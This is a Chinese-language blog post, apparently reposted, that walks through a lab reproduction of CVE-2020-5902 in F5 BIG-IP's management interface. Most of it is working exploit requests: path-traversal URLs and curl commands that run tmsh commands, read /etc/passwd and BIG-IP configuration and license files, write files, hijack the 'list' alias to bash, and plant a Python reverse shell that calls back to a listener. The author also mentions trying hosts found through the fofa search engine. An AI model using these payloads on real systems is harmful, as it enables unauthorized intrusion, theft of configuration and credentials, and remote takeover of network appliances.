F5 BIG-IP 遠程代碼執行RCE(CVE-2020-5902)環境搭建及復現


漏洞簡介

F5 BIG-IP 是美國``F5公司一款集成流量管理、DNS、出入站規則、web應用防火牆、web網關、負載均衡等功能的應用交付平台。 在F5 BIG-IP產品的流量管理用戶頁面 (TMUI)/配置程序的特定頁面中存在一處遠程代碼執行漏洞,導致可以未授權訪問TMUI模塊所有功能(包括未公開功能),漏洞影響范圍包括執行任意系統命令、任意文件讀取、任意文件寫入、開啟/禁用服務等。

搭建環境

直接再F5官網下載即可:(先去注冊)

https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v11.x&ver=11.6.4

 

 

 

 

 

 

 

 

 

下載好直接導入虛擬機即可。

其他配置和搭建虛擬機一樣。

使用默認密碼: root-default登錄(linux下輸密碼不顯示)(然后需要你修改密碼,否則不行)

配置ip地址 輸入 config

 

 配置ip,其實不用配置也想,弄個NAT就可以了。主要是網卡較多。

 

 

 

 

漏洞復現

訪問管理員頁面

https://192.168.110.151/tmui/login.jsp

  

 

 

 利用poc進行測試利用

RCE: 
curl -v -k  'https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Read File: 
curl -v -k  'https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

 

Read File:
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

RCE:
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

List File:
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/

  

 

 

 

 

 

 在執行命令時發現權限不足,不知為何,現在也沒研究出來,用fofa搜索的也是權限不足,執行不了Tmsh命令(list相當於bash命令),一開始不知的我,以為這個命令可以執行linux命令。所以就嘗試了,whoami

哈哈哈,菜雞的我,怎么會想到這個,打自己一巴掌。

 

 

 

嘗試寫文件:(測試下面如何拿到反彈shell的)

嘗試寫入:(在靶機上面寫)
curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "fileName=/tmp/success&content=CVE-2020-5902" "https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
讀取
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/success"

 

訪問發現已經改變了。

 

 

 

 

 

獲取shell

1、修改alias劫持list命令為bash
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
2、寫入文件:bash文件
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=id
3、執行bash文件
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test
4. 還原list命令
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list

 

 

 還是權限不足,太難了。

 

 

直接用靶機進行配置。

 

 

 還是不行。

 

 

 算了算了,我低頭了。

 

 

 下一步,說如何反彈shell吧。

來一道py反彈shell:(是一句話,為了方便我空格了)

https://192.168.110.151/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.151',7777));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

用一個機器監聽端口

 

 

 在執行下面命令,別人的shell就掌握手中了。

https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test

 

 

 

 我的不行,權限問題。在此請求大佬們多多給建議,讓我跟着大佬們腳步繼續前進。

參考鏈接:
https://zhuanlan.zhihu.com/p/161674340 https://www.cnblogs.com/twosmi1e/p/13290290.html https://www.cnblogs.com/zzjdbk/p/13290086.html https://blog.csdn.net/wuyou1995/article/details/107170186

  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM